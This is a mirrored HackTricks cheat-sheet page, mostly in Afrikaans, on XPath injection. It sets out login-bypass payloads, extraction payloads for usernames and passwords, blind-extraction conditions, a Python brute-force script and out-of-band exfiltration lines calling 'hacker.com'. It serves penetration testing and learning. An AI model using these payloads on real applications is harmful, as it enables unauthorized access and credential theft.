mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-22 04:33:28 +00:00
325 lines
13 KiB
Markdown
325 lines
13 KiB
Markdown
# XPATH injection
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{% hint style="success" %}
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Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
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Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
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<details>
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<summary>Ondersteun HackTricks</summary>
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* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
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* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
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* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
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</details>
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{% endhint %}
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<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
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Sluit aan by [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) bediener om met ervare hackers en bug bounty jagters te kommunikeer!
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**Hacking Inligting**\
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Betrek jouself met inhoud wat die opwinding en uitdagings van hacking ondersoek
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**Regstydse Hack Nuus**\
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Bly op hoogte van die vinnig bewegende hacking wêreld deur regstydse nuus en insigte
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**Laaste Aankondigings**\
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Bly ingelig oor die nuutste bug bounties wat bekendgestel word en belangrike platform opdaterings
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**Sluit by ons aan op** [**Discord**](https://discord.com/invite/N3FrSbmwdy) en begin vandag saamwerk met top hackers!
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## Basiese Sintaksis
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'n Aanvalstegniek bekend as XPath Injection word gebruik om voordeel te trek uit toepassings wat XPath (XML Path Language) navrae vorm gebaseer op gebruikersinvoer om XML-dokumente te navraag of te navigeer.
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### Nodes Beskryf
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Uitdrukkings word gebruik om verskillende nodes in 'n XML-dokument te kies. Hierdie uitdrukkings en hul beskrywings word hieronder saamgevat:
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* **nodename**: Alle nodes met die naam "nodename" word gekies.
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* **/**: Keuse word gemaak vanaf die wortel node.
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* **//**: Nodes wat ooreenstem met die keuse vanaf die huidige node word gekies, ongeag hul ligging in die dokument.
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* **.**: Die huidige node word gekies.
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* **..**: Die ouer van die huidige node word gekies.
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* **@**: Attribuut word gekies.
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### XPath Voorbeelde
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Voorbeelde van paduitdrukkings en hul resultate sluit in:
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* **bookstore**: Alle nodes met die naam "bookstore" word gekies.
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* **/bookstore**: Die wortelelement bookstore word gekies. Dit word opgemerk dat 'n absolute pad na 'n element verteenwoordig word deur 'n pad wat met 'n skuinsstreep (/) begin.
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* **bookstore/book**: Alle boek elemente wat kinders van bookstore is, word gekies.
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* **//book**: Alle boek elemente in die dokument word gekies, ongeag hul ligging.
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* **bookstore//book**: Alle boek elemente wat afstammelinge van die bookstore element is, word gekies, maak nie saak hul posisie onder die bookstore element nie.
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* **//@lang**: Alle attribuut met die naam lang word gekies.
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### Gebruik van Predikate
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Predikate word gebruik om keuses te verfyn:
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* **/bookstore/book\[1]**: Die eerste boek element kind van die bookstore element word gekies. 'n Oplossing vir IE weergawes 5 tot 9, wat die eerste node as \[0] indekseer, is om die SelectionLanguage na XPath deur JavaScript in te stel.
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* **/bookstore/book\[last()]**: Die laaste boek element kind van die bookstore element word gekies.
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* **/bookstore/book\[last()-1]**: Die voorlaaste boek element kind van die bookstore element word gekies.
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* **/bookstore/book\[position()<3]**: Die eerste twee boek elemente kinders van die bookstore element word gekies.
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* **//title\[@lang]**: Alle titel elemente met 'n lang attribuut word gekies.
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* **//title\[@lang='en']**: Alle titel elemente met 'n "lang" attribuut waarde van "en" word gekies.
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* **/bookstore/book\[price>35.00]**: Alle boek elemente van die bookstore met 'n prys groter as 35.00 word gekies.
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* **/bookstore/book\[price>35.00]/title**: Alle titel elemente van die boek elemente van die bookstore met 'n prys groter as 35.00 word gekies.
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### Hantering van Onbekende Nodes
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Wildcard karakters word gebruik om onbekende nodes te pas:
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* **\***: Pas enige element node.
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* **@**\*: Pas enige attribuut node.
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* **node()**: Pas enige node van enige soort.
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Verder voorbeelde sluit in:
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* **/bookstore/\***: Kies alle die kind element nodes van die bookstore element.
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* **//\***: Kies alle elemente in die dokument.
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* **//title\[@\*]**: Kies alle titel elemente met ten minste een attribuut van enige soort.
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## Voorbeeld
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```xml
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<?xml version="1.0" encoding="ISO-8859-1"?>
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<data>
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<user>
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<name>pepe</name>
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<password>peponcio</password>
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<account>admin</account>
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</user>
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<user>
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<name>mark</name>
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<password>m12345</password>
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<account>regular</account>
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</user>
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<user>
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<name>fino</name>
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<password>fino2</password>
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<account>regular</account>
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</user>
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</data>
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```
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### Toegang tot die inligting
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```
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All names - [pepe, mark, fino]
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name
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//name
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//name/node()
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//name/child::node()
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user/name
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user//name
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/user/name
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//user/name
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All values - [pepe, peponcio, admin, mark, ...]
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//user/node()
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//user/child::node()
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Positions
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//user[position()=1]/name #pepe
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//user[last()-1]/name #mark
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//user[position()=1]/child::node()[position()=2] #peponcio (password)
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Functions
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count(//user/node()) #3*3 = 9 (count all values)
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string-length(//user[position()=1]/child::node()[position()=1]) #Length of "pepe" = 4
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substrig(//user[position()=2/child::node()[position()=1],2,1) #Substring of mark: pos=2,length=1 --> "a"
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```
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### Identifiseer & steel die skema
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```python
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and count(/*) = 1 #root
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and count(/*[1]/*) = 2 #count(root) = 2 (a,c)
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and count(/*[1]/*[1]/*) = 1 #count(a) = 1 (b)
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and count(/*[1]/*[1]/*[1]/*) = 0 #count(b) = 0
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and count(/*[1]/*[2]/*) = 3 #count(c) = 3 (d,e,f)
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and count(/*[1]/*[2]/*[1]/*) = 0 #count(d) = 0
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and count(/*[1]/*[2]/*[2]/*) = 0 #count(e) = 0
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and count(/*[1]/*[2]/*[3]/*) = 1 #count(f) = 1 (g)
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and count(/*[1]/*[2]/*[3]/[1]*) = 0 #count(g) = 0
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#The previous solutions are the representation of a schema like the following
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#(at this stage we don't know the name of the tags, but jus the schema)
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<root>
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<a>
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<b></b>
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</a>
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<c>
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<d></d>
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<e></e>
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<f>
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<h></h>
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</f>
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</c>
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</root>
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and name(/*[1]) = "root" #Confirm the name of the first tag is "root"
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and substring(name(/*[1]/*[1]),1,1) = "a" #First char of name of tag `<a>` is "a"
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and string-to-codepoints(substring(name(/*[1]/*[1]/*),1,1)) = 105 #Firts char of tag `<b>`is codepoint 105 ("i") (https://codepoints.net/)
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#Stealing the schema via OOB
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doc(concat("http://hacker.com/oob/", name(/*[1]/*[1]), name(/*[1]/*[1]/*[1])))
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doc-available(concat("http://hacker.com/oob/", name(/*[1]/*[1]), name(/*[1]/*[1]/*[1])))
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```
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## Outentiekingsomseiling
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### **Voorbeeld van navrae:**
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```
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string(//user[name/text()='+VAR_USER+' and password/text()='+VAR_PASSWD+']/account/text())
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$q = '/usuarios/usuario[cuenta="' . $_POST['user'] . '" and passwd="' . $_POST['passwd'] . '"]';
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```
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### **OF omseil in gebruiker en wagwoord (dieselfde waarde in albei)**
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```
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' or '1'='1
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" or "1"="1
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' or ''='
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" or ""="
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string(//user[name/text()='' or '1'='1' and password/text()='' or '1'='1']/account/text())
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Select account
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Select the account using the username and use one of the previous values in the password field
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```
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### **Misbruik van null-inspuiting**
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```
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Username: ' or 1]%00
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```
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### **Dubbele OF in gebruikersnaam of in wagwoord** (is geldig met slegs 1 kwesbare veld)
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BELANGRIJK: Let daarop dat die **"en" die eerste operasie is wat gedoen word**.
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```
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Bypass with first match
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(This requests are also valid without spaces)
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' or /* or '
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' or "a" or '
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' or 1 or '
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' or true() or '
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string(//user[name/text()='' or true() or '' and password/text()='']/account/text())
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Select account
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'or string-length(name(.))<10 or' #Select account with length(name)<10
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'or contains(name,'adm') or' #Select first account having "adm" in the name
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'or contains(.,'adm') or' #Select first account having "adm" in the current value
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'or position()=2 or' #Select 2º account
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string(//user[name/text()=''or position()=2 or'' and password/text()='']/account/text())
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Select account (name known)
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admin' or '
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admin' or '1'='2
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string(//user[name/text()='admin' or '1'='2' and password/text()='']/account/text())
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```
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## String extraction
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Die uitvoer bevat stringe en die gebruiker kan die waardes manipuleer om te soek:
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```
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/user/username[contains(., '+VALUE+')]
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```
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```
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') or 1=1 or (' #Get all names
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') or 1=1] | //user/password[('')=(' #Get all names and passwords
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') or 2=1] | //user/node()[('')=(' #Get all values
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')] | //./node()[('')=(' #Get all values
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')] | //node()[('')=(' #Get all values
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') or 1=1] | //user/password[('')=(' #Get all names and passwords
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')] | //password%00 #All names and passwords (abusing null injection)
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')]/../*[3][text()!=(' #All the passwords
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')] | //user/*[1] | a[(' #The ID of all users
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')] | //user/*[2] | a[(' #The name of all users
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')] | //user/*[3] | a[(' #The password of all users
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')] | //user/*[4] | a[(' #The account of all users
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```
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## Blind Explotation
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### **Kry die lengte van 'n waarde en ekstraheer dit deur vergelykings:**
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```bash
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' or string-length(//user[position()=1]/child::node()[position()=1])=4 or ''=' #True if length equals 4
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' or substring((//user[position()=1]/child::node()[position()=1]),1,1)="a" or ''=' #True is first equals "a"
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substring(//user[userid=5]/username,2,1)=codepoints-to-string(INT_ORD_CHAR_HERE)
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... and ( if ( $employee/role = 2 ) then error() else 0 )... #When error() is executed it rises an error and never returns a value
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```
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### **Python Voorbeeld**
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```python
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import requests, string
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flag = ""
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l = 0
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alphabet = string.ascii_letters + string.digits + "{}_()"
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for i in range(30):
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r = requests.get("http://example.com?action=user&userid=2 and string-length(password)=" + str(i))
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if ("TRUE_COND" in r.text):
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l = i
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break
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print("[+] Password length: " + str(l))
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for i in range(1, l + 1): #print("[i] Looking for char number " + str(i))
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for al in alphabet:
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r = requests.get("http://example.com?action=user&userid=2 and substring(password,"+str(i)+",1)="+al)
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if ("TRUE_COND" in r.text):
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flag += al
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print("[+] Flag: " + flag)
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break
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```
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### Lees lêer
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```python
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(substring((doc('file://protected/secret.xml')/*[1]/*[1]/text()[1]),3,1))) < 127
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```
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## OOB Exploitasie
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```python
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doc(concat("http://hacker.com/oob/", RESULTS))
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doc(concat("http://hacker.com/oob/", /Employees/Employee[1]/username))
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doc(concat("http://hacker.com/oob/", encode-for-uri(/Employees/Employee[1]/username)))
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#Instead of doc() you can use the function doc-available
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doc-available(concat("http://hacker.com/oob/", RESULTS))
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#the doc available will respond true or false depending if the doc exists,
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#user not(doc-available(...)) to invert the result if you need to
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```
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### Outomatiese hulpmiddel
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* [xcat](https://xcat.readthedocs.io/)
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* [xxxpwn](https://github.com/feakk/xxxpwn)
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* [xxxpwn\_smart](https://github.com/aayla-secura/xxxpwn\_smart)
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* [xpath-blind-explorer](https://github.com/micsoftvn/xpath-blind-explorer)
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* [XmlChor](https://github.com/Harshal35/XMLCHOR)
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## Verwysings
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* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XPATH%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XPATH%20Injection)
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* [https://wiki.owasp.org/index.php/Testing\_for\_XPath\_Injection\_(OTG-INPVAL-010)](https://wiki.owasp.org/index.php/Testing\_for\_XPath\_Injection\_\(OTG-INPVAL-010\))
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* [https://www.w3schools.com/xml/xpath\_syntax.asp](https://www.w3schools.com/xml/xpath\_syntax.asp)
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<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
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|
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Sluit aan by [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) bediener om met ervare hackers en bug bounty jagters te kommunikeer!
|
|
|
|
**Hacking Inligting**\
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|
Betrek met inhoud wat die opwinding en uitdagings van hacking ondersoek
|
|
|
|
**Regstydse Hack Nuus**\
|
|
Bly op hoogte van die vinnige hacking wêreld deur middel van regstydse nuus en insigte
|
|
|
|
**Laaste Aankondigings**\
|
|
Bly ingelig oor die nuutste bug bounties wat bekendgestel word en belangrike platform opdaterings
|
|
|
|
**Sluit by ons aan op** [**Discord**](https://discord.com/invite/N3FrSbmwdy) en begin vandag saamwerk met top hackers!
|
|
|
|
{% hint style="success" %}
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|
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
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|
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
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<details>
|
|
|
|
<summary>Ondersteun HackTricks</summary>
|
|
|
|
* Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
|
|
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
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* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
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</details>
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{% endhint %}
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